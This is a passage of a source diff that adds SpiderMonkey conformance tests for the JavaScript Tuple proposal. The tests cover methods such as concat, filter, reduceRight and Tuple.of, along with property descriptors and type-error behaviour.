+assertEq(tup.reduceRight(sub, 42), 36);
+assertEq(0, empty.reduceRight(sub, 0));
+
+assertThrowsInstanceOf(() => tup.reduceRight(),
+ TypeError,
+ "Tuple.prototype.reduceRight");
+
+assertThrowsInstanceOf(() => tup.reduceRight("monkeys"),
+ TypeError,
+ "\"monkeys\" is not a function");
+
+assertThrowsInstanceOf(() => empty.reduceRight(sub),
+ TypeError,
+ "reduce of empty tuple with no initial value");
+
+// .some()
+var truePred = x => x % 2 == 0;
+var falsePred = x => x > 30;
+var trueResult = tup.some(truePred);
+assertEq(tup, tup2);
+assertEq(trueResult, true);
+var falseResult = tup.some(falsePred);
+assertEq(falseResult, false);
+assertEq(false, empty.some(truePred));
+
+assertThrowsInstanceOf(() => tup.some(),
+ TypeError,
+ "Tuple.prototype.some");
+
+assertThrowsInstanceOf(() => tup.some("monkeys"),
+ TypeError,
+ "\"monkeys\" is not a function");
+
+// .values()
+var iterator = tup.values();
+var result;
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value, 1);
+
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value, 2);
+
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value, 3);
+
+result = iterator.next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+
+iterator = empty.values();
+var result1 = iterator.next();
+assertEq(result1.done, true);
+assertEq(result1.value, undefined);
+
+// @@iterator
+
+var iterator = tup[Symbol.iterator](tup);
+var result;
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value, 1);
+
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value, 2);
+
+result = iterator.next();
+assertEq(result.done, false);
+assertEq(result.value, 3);
+
+result = iterator.next();
+assertEq(result.done, true);
+assertEq(result.value, undefined);
+
+iterator = empty[Symbol.iterator](empty);
+var result1 = iterator.next();
+assertEq(result1.done, true);
+assertEq(result1.value, undefined);
+
+// @@toStringTag
+
+assertEq(tup[Symbol.toStringTag], "Tuple");
+assertEq(Object(#[1,2,3])[Symbol.toStringTag], "Tuple");
+
+// length
+assertEq(tup.length, 3);
+assertEq(Object(#[1,2,3]).length, 3);
+assertEq(empty.length, 0);
+assertEq(Object(#[]).length, 0);
+
+// .flat()
+var toFlatten = #[#[1,2],#[3,#[4,5]],#[6],#[7,8,#[9,#[10,#[11,12]]]]];
+var toFlatten2 = #[#[1,2],#[3,#[4,5]],#[6],#[7,8,#[9,#[10,#[11,12]]]]];
+assertEq(toFlatten.flat(10), #[1,2,3,4,5,6,7,8,9,10,11,12]);
+assertEq(toFlatten, toFlatten2);
+assertEq(tup.flat(), tup);
+assertEq(empty.flat(), empty);
+assertEq(toFlatten.flat(2), #[1,2,3,4,5,6,7,8,9,#[10,#[11,12]]]);
+assertEq(toFlatten.flat(), #[1,2,3,#[4,5],6,7,8,#[9,#[10,#[11,12]]]]);
+
+// .flatMap()
+var inc = (x, sourceIndex, source) => #[x, x+1];
+var toFlatten0 = #[1, 2, 3];
+assertEq(toFlatten0.flatMap(inc), #[1, 2, 2, 3, 3, 4]);
+assertEq(empty.flatMap(inc), empty);
+
+// miscellaneous
+
+let nullaryMethods = [[Tuple.prototype.toReversed, x => x === #[1,2,3]],
+ [Tuple.prototype.toSorted, x => x === #[1,2,3]],
+ [Tuple.prototype.toString, x => x === "3,2,1"],
+ [Tuple.prototype.toLocaleString, x => x === "3,2,1"],
+ [Tuple.prototype.join, x => x === "3,2,1"],
+ [Tuple.prototype.entries, x => typeof(x) === "object"],
+ [Tuple.prototype.keys, x => typeof(x) === "object"],
+ [Tuple.prototype.values, x => typeof(x) === "object"],
+ [Tuple.prototype.flat, x => x === #[3,2,1]]];
+
+for (p of nullaryMethods) {
+ let method = p[0];
+ let f = p[1];
+ assertEq(f(method.call(Object(#[3,2,1]))), true);
+}
+
+function assertTypeError(f) {
+ for (thisVal of ["monkeys", [3,2,1], null, undefined, 0]) {
+ assertThrowsInstanceOf(f(thisVal), TypeError, "value of TupleObject must be a Tuple");
+ }
+}
+
+assertTypeError(x => (() => Tuple.prototype.toSorted.call(x)));
+
+assertEq(Tuple.prototype.toSpliced.call(Object(myFish), 2, 0, 'drum'),
+ #['angel', 'clown', 'drum', 'mandarin', 'sturgeon']);
+assertTypeError(thisVal => (() => Tuple.prototype.toSpliced.call(thisVal, 2, 0, 'drum')));
+
+assertEq(Tuple.prototype.concat.call(Object(#[1,2,3]), 1,2,3,4,5,6), #[1,2,3,1,2,3,4,5,6]);
+assertEq(Tuple.prototype.concat.call(Object(#[1,2,3]), 1,2,Object(#[3,4]),5,6), #[1,2,3,1,2,3,4,5,6]);
+assertTypeError(thisVal => (() => Tuple.prototype.concat.call(thisVal, 1, 2, 3, 4)));
+
+assertEq(Tuple.prototype.includes.call(Object(#[1,2,3]), 1), true);
+assertTypeError(thisVal => (() => Tuple.prototype.concat.includes(thisVal, 1)));
+
+assertEq(Tuple.prototype.indexOf.call(Object(#[1,2,3]), 1), 0);
+assertTypeError(thisVal => (() => Tuple.prototype.indexOf.call(thisVal, 0)));
+
+assertEq(Tuple.prototype.lastIndexOf.call(Object(#[1,2,3]), 1), 0);
+assertTypeError(thisVal => (() => Tuple.prototype.lastIndexOf.call(thisVal, 0)));
+
+assertEq(Tuple.prototype.slice.call(Object(#[1,2,3]), 1), #[2,3]);
+assertTypeError(thisVal => (() => Tuple.prototype.slice.call(thisVal, 0)));
+
+var pred = x => x > 2;
+
+assertEq(Tuple.prototype.every.call(Object(#[1,2,3]), pred), false);
+assertTypeError(thisVal => (() => Tuple.prototype.every.call(thisVal, pred)));
+
+assertEq(Tuple.prototype.filter.call(Object(#[1,2,3]), pred), #[3]);
+assertTypeError(thisVal => (() => Tuple.prototype.filter.call(thisVal, pred)));
+
+assertEq(Tuple.prototype.find.call(Object(#[1,2,3]), pred), 3);
+assertTypeError(thisVal => (() => Tuple.prototype.find.call(thisVal, pred)));
+
+assertEq(Tuple.prototype.findIndex.call(Object(#[1,2,3]), pred), 2);
+assertTypeError(thisVal => (() => Tuple.prototype.findIndex.call(thisVal, pred)));
+
+assertEq(Tuple.prototype.some.call(Object(#[1,2,3]), pred), true);
+assertTypeError(thisVal => (() => Tuple.prototype.some.call(thisVal, pred)));
+
+var a = 0;
+var f = (x => a += x);
+assertEq(Tuple.prototype.forEach.call(Object(#[1,2,3]), f), undefined);
+assertEq(a, 6);
+assertTypeError(thisVal => (() => Tuple.prototype.forEach.call(thisVal, f)));
+
+f = (x => x+1);
+assertEq(Tuple.prototype.map.call(Object(#[1,2,3]), f), #[2,3,4]);
+assertTypeError(thisVal => (() => Tuple.prototype.map.call(thisVal, f)));
+
+f = (x => #[x,x+1]);
+assertEq(Tuple.prototype.flatMap.call(Object(#[1,2,3]), f), #[1,2,2,3,3,4]);
+assertTypeError(thisVal => (() => Tuple.prototype.flatMap.call(thisVal, f)));
+
+assertEq(Tuple.prototype.reduce.call(Object(#[1,2,3]), add), 6);
+assertTypeError(thisVal => (() => Tuple.prototype.reduce.call(thisVal, add)));
+
+assertEq(Tuple.prototype.reduceRight.call(Object(#[1,2,3]), sub), 0);
+assertTypeError(thisVal => (() => Tuple.prototype.reduce.call(thisVal, sub)));
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/of/length.js b/js/src/tests/non262/Tuple/of/length.js
new file mode 100644
index 0000000000..5038d3fc5e
--- /dev/null
+++ b/js/src/tests/non262/Tuple/of/length.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.of, "length");
+assertEq(desc.value, 0);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.of, "name");
+assertEq(desc.value, "of");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.of), false);
+
+assertThrowsInstanceOf(() => {
+ new Tuple.of(1, 2, 3);
+}, TypeError, '`new Tuple.of(1, 2, 3)` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/of/name.js b/js/src/tests/non262/Tuple/of/name.js
new file mode 100644
index 0000000000..f09e793010
--- /dev/null
+++ b/js/src/tests/non262/Tuple/of/name.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple.of, "name");
+assertEq(desc.value, "of");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/of/not-a-constructor.js b/js/src/tests/non262/Tuple/of/not-a-constructor.js
new file mode 100644
index 0000000000..b397a820cd
--- /dev/null
+++ b/js/src/tests/non262/Tuple/of/not-a-constructor.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+assertEq(isConstructor(Tuple.of), false);
+
+assertThrowsInstanceOf(() => {
+ new Tuple.of(1, 2, 3);
+}, TypeError, '`new Tuple.of(1, 2, 3)` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/of/of.js b/js/src/tests/non262/Tuple/of/of.js
new file mode 100644
index 0000000000..bbda64608d
--- /dev/null
+++ b/js/src/tests/non262/Tuple/of/of.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.2.3 Tuple.of ( ...items )
+The of method takes any number of arguments, and performs the following steps:
+
+1. Let items be the List of arguments passed to this function.
+2. For each element e of items,
+a. If Type(e) is Object, throw a TypeError exception.
+3. Let tuple be a new Tuple value whose [[Sequence]] is items.
+4. Return tuple.
+*/
+
+assertEq(Tuple.of(), #[]);
+assertEq(Tuple.of(undefined), #[undefined]);
+assertEq(Tuple.of(null), #[null]);
+assertEq(Tuple.of(1), #[1]);
+assertEq(Tuple.of(1, 2), #[1,2]);
+assertEq(Tuple.of(true, 5, "monkeys", #[3, 4]), #[true, 5, "monkeys", #[3, 4]]);
+assertEq(Tuple.of(undefined, false, null, undefined), #[undefined, false, null, undefined]);
+
+/* Step 2a. */
+assertThrowsInstanceOf(() => Tuple.of([1, 2, 3]), TypeError,
+ "Tuple can't contain Object");
+assertThrowsInstanceOf(() => Tuple.of([]), TypeError,
+ "Tuple can't contain Object");
+assertThrowsInstanceOf(() => Tuple.of(new Object(), [1, 2, 3], new String("a")), TypeError,
+ "Tuple can't contain Object");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/of/prop-desc.js b/js/src/tests/non262/Tuple/of/prop-desc.js
new file mode 100644
index 0000000000..e797646531
--- /dev/null
+++ b/js/src/tests/non262/Tuple/of/prop-desc.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple, "of");
+assertEq(desc.value, Tuple.of);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/property-descriptors.js b/js/src/tests/non262/Tuple/property-descriptors.js
new file mode 100644
index 0000000000..0e21ad8b97
--- /dev/null
+++ b/js/src/tests/non262/Tuple/property-descriptors.js
@@ -0,0 +1,91 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var tup = Tuple(1, 2, 3);
+var tupO = Object(tup);
+
+var desc = Object.getOwnPropertyDescriptor(tupO, "0");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+assertEq(Object.getOwnPropertyDescriptor(tupO, "3"), undefined);
+assertEq(Object.getOwnPropertyDescriptor(tupO, "w"), undefined);
+assertEq(Object.getOwnPropertyDescriptor(tupO, "length"), undefined);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(tup, "0", { value: 1 }),
+ TypeError,
+ "#[1, 2, 3] is not a non-null object"
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(tupO, "b", {}),
+ TypeError,
+ 'can\'t define property "b": tuple is not extensible'
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(tupO, "3", {}),
+ TypeError,
+ 'can\'t define property "3": tuple is not extensible'
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(tupO, Symbol(), {}),
+ TypeError,
+ 'can\'t define property "Symbol()": tuple is not extensible'
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(tupO, "0", { value: 2 }),
+ TypeError,
+ '"0" is read-only'
+);
+
+Object.defineProperty(tupO, "0", { value: 1 });
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(tupO, "0", { value: 1, writable: true }),
+ TypeError,
+ "Invalid tuple property descriptor"
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(tupO, "0", { value: 1, enumerable: false }),
+ TypeError,
+ "Invalid tuple property descriptor"
+);
+
+assertThrowsInstanceOf(
+ () => Object.defineProperty(tupO, "0", { value: 1, configurable: true }),
+ TypeError,
+ "Invalid tuple property descriptor"
+);
+
+assertEq(Object.prototype.propertyIsEnumerable.call(tupO, "0"), true);
+assertEq(Object.prototype.propertyIsEnumerable.call(tupO, "0"), true);
+assertEq(Object.prototype.propertyIsEnumerable.call(tupO, "w"), false);
+assertEq(Object.prototype.propertyIsEnumerable.call(tupO, "w"), false);
+assertEq(Object.prototype.propertyIsEnumerable.call(tupO, "3"), false);
+assertEq(Object.prototype.propertyIsEnumerable.call(tupO, "3"), false);
+
+assertEq(Object.prototype.hasOwnProperty.call(tupO, "0"), true);
+assertEq(Object.prototype.hasOwnProperty.call(tupO, "0"), true);
+assertEq(Object.prototype.hasOwnProperty.call(tupO, "w"), false);
+assertEq(Object.prototype.hasOwnProperty.call(tupO, "w"), false);
+assertEq(Object.prototype.hasOwnProperty.call(tupO, "3"), false);
+assertEq(Object.prototype.hasOwnProperty.call(tupO, "3"), false);
+
+assertEq("0" in tupO, true);
+assertEq("w" in tupO, false);
+assertEq("3" in tupO, false);
+
+assertEq(delete tupO[0], false);
+assertEq(delete tupO[0], false);
+assertEq(delete tupO.w, true);
+assertEq(delete tupO.w, true);
+assertEq(delete tupO[3], true);
+assertEq(delete tupO[3], true);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/proto-override.js b/js/src/tests/non262/Tuple/proto-override.js
new file mode 100644
index 0000000000..4e0ac54a93
--- /dev/null
+++ b/js/src/tests/non262/Tuple/proto-override.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+//CHECK#1
+Tuple.prototype.toString = Object.prototype.toString;
+var x = Tuple();
+assertEq(x.toString(), "[object Tuple]");
+
+//CHECK#2
+Tuple.prototype.toString = Object.prototype.toString;
+var x = Tuple(0, 1, 2);
+assertEq(x.toString(), "[object Tuple]");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/invoked-as-accessor.js b/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/invoked-as-accessor.js
new file mode 100644
index 0000000000..809a8a41bf
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/invoked-as-accessor.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+/*---
+esid: sec-get-%Tuple%.prototype-@@tostringtag
+description: >
+info: |
+ 8.2.3.4 %Tuple%.prototype [ @@toStringTag ]
+
+The initial value of Tuple.prototype[@@toStringTag] is the String value "Tuple".
+
+This property has the attributes { [[Writable]]: false, [[Enumerable]]: false, [[Configurable]]: true }.
+
+features: [Symbol.toStringTag, Tuple]
+---*/
+
+var TuplePrototype = Tuple.prototype;
+
+assertEq(TuplePrototype[Symbol.toStringTag], "Tuple");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/length.js b/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/length.js
new file mode 100644
index 0000000000..ad82466f1f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/length.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype, Symbol.toStringTag);
+
+assertEq(desc.length, undefined);
+
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/name.js b/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/name.js
new file mode 100644
index 0000000000..cc7c101cd7
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/name.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype, Symbol.toStringTag);
+
+assertEq(desc.name, undefined);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/prop-desc.js b/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/prop-desc.js
new file mode 100644
index 0000000000..43e5c73d35
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/prop-desc.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+/*---
+esid: sec-get-%Tuple%.prototype-@@tostringtag
+description: >
+info: |
+ 8.2.3.4 %Tuple%.prototype [ @@toStringTag ]
+
+The initial value of Tuple.prototype[@@toStringTag] is the String value "Tuple".
+
+This property has the attributes { [[Writable]]: false, [[Enumerable]]: false, [[Configurable]]: true }.
+
+features: [Symbol.toStringTag, Tuple]
+---*/
+
+var TuplePrototype = Tuple.prototype;
+var desc = Object.getOwnPropertyDescriptor(
+ TuplePrototype, Symbol.toStringTag
+);
+
+assertEq(desc.value, "Tuple");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(desc.set, undefined);
+assertEq(desc.get, undefined);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/concat/concat-with-array.js b/js/src/tests/non262/Tuple/prototype/concat/concat-with-array.js
new file mode 100644
index 0000000000..938f4838cf
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/concat/concat-with-array.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+assertDeepEq([1, 2].concat(#[3, 4]), [1, 2, 3, 4]);
+assertDeepEq([].concat(#[3, 4]), [3, 4]);
+assertDeepEq([].concat(#[]), []);
+assertDeepEq([1, 2, 3].concat(#[]), [1, 2, 3]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/concat/concat.js b/js/src/tests/non262/Tuple/prototype/concat/concat.js
new file mode 100644
index 0000000000..92270db7e9
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/concat/concat.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.6 Tuple.prototype.concat ( ...args )
+
+When the concat method is called with zero or more arguments, it returns a Tuple containing the elements of the Tuple followed by the elements of each argument in order.
+
+The following steps are taken:
+
+1. Let T be ? thisTupleValue(this value).
+2. Let list be a new empty List.
+3. Let n be 0.
+4. Let items be a List whose first element is T and whose subsequent element are, in left to right order, the arguments that were passed to this function invocation.
+5. Repeat, while items is not empty,
+a. Remove the first element from items and let E be the value of the element.
+b. Let spreadable be ? IsConcatSpreadable(E).
+c. If spreadable is true, then
+i. Let k be 0.
+ii. Let len be ? LengthOfArrayLike(E).
+iii. If n + len > 253 - 1, throw a TypeError exception.
+iv. Repeat, while k < len,
+1. Let P be ! ToString(k).
+2. Let exists be ? HasProperty(E, P).
+3. If exists is true, then
+a. Let subElement be ? Get(E, P).
+b. If Type(subElement) is Object, throw a TypeError exception.
+c. Append subElement to the end of list list.
+4. Set n to n + 1.
+5. Set k to k + 1.
+d. Else,
+i. NOTE: E is added as a single item rather than spread.
+ii. If n ≥ 253 - 1, throw a TypeError exception.
+iii. If Type(E) is Object, throw a TypeError exception.
+iv. Append E to the end of list list.
+v. Set n to n + 1.
+6. Return a new Tuple value whose [[Sequence]] is list.
+*/
+
+/* Step 1 */
+/* concat() should throw on a non-Tuple */
+let method = Tuple.prototype.concat;
+assertEq(method.call(#[1,2,3,4,5,6], #[1],#[2,3]), #[1,2,3,4,5,6,1,2,3]);
+assertEq(method.call(Object(#[1,2,3,4,5,6]), #[1],#[2,3]), method.call(#[1,2,3,4,5,6],#[1],#[2,3]));
+assertThrowsInstanceOf(() => method.call("monkeys"), TypeError,
+ "value of TupleObject must be a Tuple");
+
+/* Step 5 */
+/* No arguments or empty arguments => returns this */
+let tup = #[1,2,3];
+assertEq(tup.concat(), tup);
+assertEq(tup.concat(#[]), tup);
+assertEq(tup.concat([]), tup);
+assertEq(tup.concat(#[],#[],#[]), tup);
+
+/* Step 5 */
+/* 1 spreadable argument */
+assertEq(tup.concat(tup), #[1,2,3,1,2,3]);
+assertEq(tup.concat([1,2,3]), #[1,2,3,1,2,3]);
+
+/* spreadable followed by non-spreadable */
+assertEq(tup.concat(tup, "monkeys"), #[1,2,3,1,2,3, "monkeys"]);
+assertEq(tup.concat([1,2,3], "monkeys"), #[1,2,3,1,2,3, "monkeys"]);
+
+/* non-spreadable followed by spreadable */
+assertEq(tup.concat("monkeys", tup), #[1,2,3, "monkeys", 1,2,3]);
+assertEq(tup.concat("monkeys", [1,2,3]), #[1,2,3, "monkeys", 1,2,3,]);
+
+/* Step 5.c.iii.
+ If n + len > 2^53 - 1, throw a TypeError */
+var spreadableLengthOutOfRange = {};
+spreadableLengthOutOfRange.length = Number.MAX_SAFE_INTEGER;
+spreadableLengthOutOfRange[Symbol.isConcatSpreadable] = true;
+/*
+TODO
+this.length = (2^53/2)
+this.concat(a) throws if a.length = 2^53/2 - 1
+*/
+
+
+assertThrowsInstanceOf(() => tup.concat(spreadableLengthOutOfRange),
+ TypeError,
+ 'Too long array');
+
+/* Step 5.c.iv.2. Let exists be ?HasProperty(E, P)
+ Step 5.c.iv.3 Append only if exists is true */
+assertEq(tup.concat([42,17,,5,,12]), #[1,2,3,42,17,5,12]);
+
+/* Step 5.c.iv.3.b. -- Object elements should throw */
+assertThrowsInstanceOf(() => tup.concat([1, new Object(), 2]),
+ TypeError,
+ '#[1,2,3].concat([1, new Object(), 2]) throws a TypeError exception');
+
+/* Step 5d -- add as a single item */
+assertEq(tup.concat("monkeys"), #[1,2,3, "monkeys"]);
+/*
+Step 5d.c.ii.
+- Throw if this has length 2^53
+TODO: not sure how to test this -- creating a tuple with length 2^53 takes too long
+*/
+
+/* Step 5d.iii -- Object should throw */
+assertThrowsInstanceOf(() => tup.concat(new Object()), TypeError,
+ '#[1,2,3].concat(new Object()) throws a TypeError exception');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/concat/indexed-setters.js b/js/src/tests/non262/Tuple/prototype/concat/indexed-setters.js
new file mode 100644
index 0000000000..da6840927c
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/concat/indexed-setters.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// If an indexed Array setter is overridden, TupleConcat shouldn't use it
+// when constructing the intermediate array
+
+var z = 5;
+for (i = 0; i < 4; i++) {
+ Object.defineProperty(Array.prototype, i, { set: function(y) { z = 42; }});
+}
+var newT = #[1, 2].concat([3, 4]);
+assertEq(z, 5);
+
+newT = #[1, 2].concat("hello");
+assertEq(z, 5);
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/concat/length.js b/js/src/tests/non262/Tuple/prototype/concat/length.js
new file mode 100644
index 0000000000..6b801f8783
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/concat/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.concat, "length");
+assertEq(desc.value, 0);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.concat, "name");
+assertEq(desc.value, "concat");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "concat");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.concat), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.concat();
+}, TypeError, '`let t = #[1]; new t.concat()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/filter/filter.js b/js/src/tests/non262/Tuple/prototype/filter/filter.js
new file mode 100644
index 0000000000..d51c982868
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/filter/filter.js
@@ -0,0 +1,82 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.13 Tuple.prototype.filter ( callbackfn [ , thisArg ] )
+NOTE
+callbackfn should be a function that accepts three arguments and returns a value that is coercible to the Boolean value true or false. filter calls callbackfn once for each element in the tuple, in ascending order, and constructs a new tuple of all the values for which callbackfn returns true.
+
+If a thisArg parameter is provided, it will be used as the this value for each invocation of callbackfn. If it is not provided, undefined is used instead.
+
+callbackfn is called with three arguments: the value of the element, the index of the element, and the Tuple being traversed.
+
+When the filter method is called with one or two arguments, the following steps are taken:
+
+1. Let T be ? thisTupleValue(this value).
+2. Let list be T.[[Sequence]].
+3. Let len be the number of elements in list.
+4. If IsCallable(callbackfn) is false, throw a TypeError exception.
+5. Let newList be a new empty List.
+6. Let k be 0.
+7. Repeat, while k < len,
+a. Let kValue be list[k].
+b. Let selected be ! ToBoolean(? Call(callbackfn, thisArg, « kValue, k, T »)).
+c. If selected is true, then
+i. Append kValue to the end of list newList.
+d. Set k to k + 1.
+8. Return a new Tuple value whose [[Sequence]] is newLis.t
+
+*/
+
+/* Step 1 */
+/* filter() should throw on a non-Tuple */
+let method = Tuple.prototype.filter;
+let pred = (x, i, tup) => x % 2 === 0;
+assertEq(method.call(#[1,2,3,4,5,6],pred), #[2,4,6]);
+assertEq(method.call(Object(#[1,2,3,4,5,6]), pred), #[2,4,6]);
+assertThrowsInstanceOf(() => method.call("monkeys", pred), TypeError,
+ "value of TupleObject must be a Tuple");
+
+let tup = #[1,2,3];
+
+/* Step 4 */
+/* callbackfn not callable -- should throw */
+assertThrowsInstanceOf(() => tup.filter(), TypeError,
+ "missing function argument to Tuple.prototype.filter");
+assertThrowsInstanceOf(() => tup.filter(undefined), TypeError,
+ "missing function argument to Tuple.prototype.filter");
+assertThrowsInstanceOf(() => tup.filter("monkeys"), TypeError,
+ "bad function argument to Tuple.prototype.filter");
+
+
+/* callbackfn with 1 argument -- should be allowed */
+var pred2 = x => x % 2 === 0;
+assertEq(tup.filter(pred2), #[2]);
+
+/* callbackfn with 2 arguments -- should be allowed */
+pred2 = (x, i) => x + i < 5;
+assertEq(tup.filter(pred2), #[1, 2]);
+
+/* callbackfn with > 3 arguments -- subsequent ones will be undefined */
+var pred3 = (a, b, c, d, e) => e === undefined;
+assertEq(tup.filter(pred3), tup);
+
+/* callbackfn should be able to use index and tuple */
+var pred1 = (x, i, tup) => (tup.indexOf(x + i) !== (-1));
+assertEq(#[1,2,3,4,5,6,7].filter(pred1), #[1,2,3,4]);
+
+/* explicit thisArg */
+pred1 = function (x, i, tup) { return(this.elements.indexOf(x) !== -1); };
+assertEq(#[1,2,3,4,5].filter(pred1, { elements: [2, 4] }), #[2,4]);
+
+/* Step 3 */
+/* Test that length is still handled correctly if it's overridden */
+Object.defineProperty(Tuple.prototype, "length", { get() { return 0 } })
+assertEq(tup.filter(pred), #[2]);
+
+/* Step 7 */
+assertEq(#[].filter(pred), #[]);
+assertEq(#[1].filter(pred), #[]);
+assertEq(#[2].filter(pred), #[2]);
+assertEq(tup.filter(pred), #[2]);
+assertEq(tup.filter(x => x > 1), #[2,3]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/filter/indexed-setters.js b/js/src/tests/non262/Tuple/prototype/filter/indexed-setters.js
new file mode 100644
index 0000000000..a110b460e1
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/filter/indexed-setters.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// If an indexed Array setter is overridden, TupleSplice shouldn't use it
+// when constructing the intermediate array
+
+var z = 5;
+print("1111");
+Object.defineProperty(Array.prototype, '0', { set: function(y) { z = 42; }});
+print("2222");
+let newT = #[1,2,3].filter(x => true);
+print("3333");
+assertEq(z, 5);
+print("4444");
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/filter/length.js b/js/src/tests/non262/Tuple/prototype/filter/length.js
new file mode 100644
index 0000000000..a780c2b2b1
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/filter/length.js
@@ -0,0 +1,27 @@
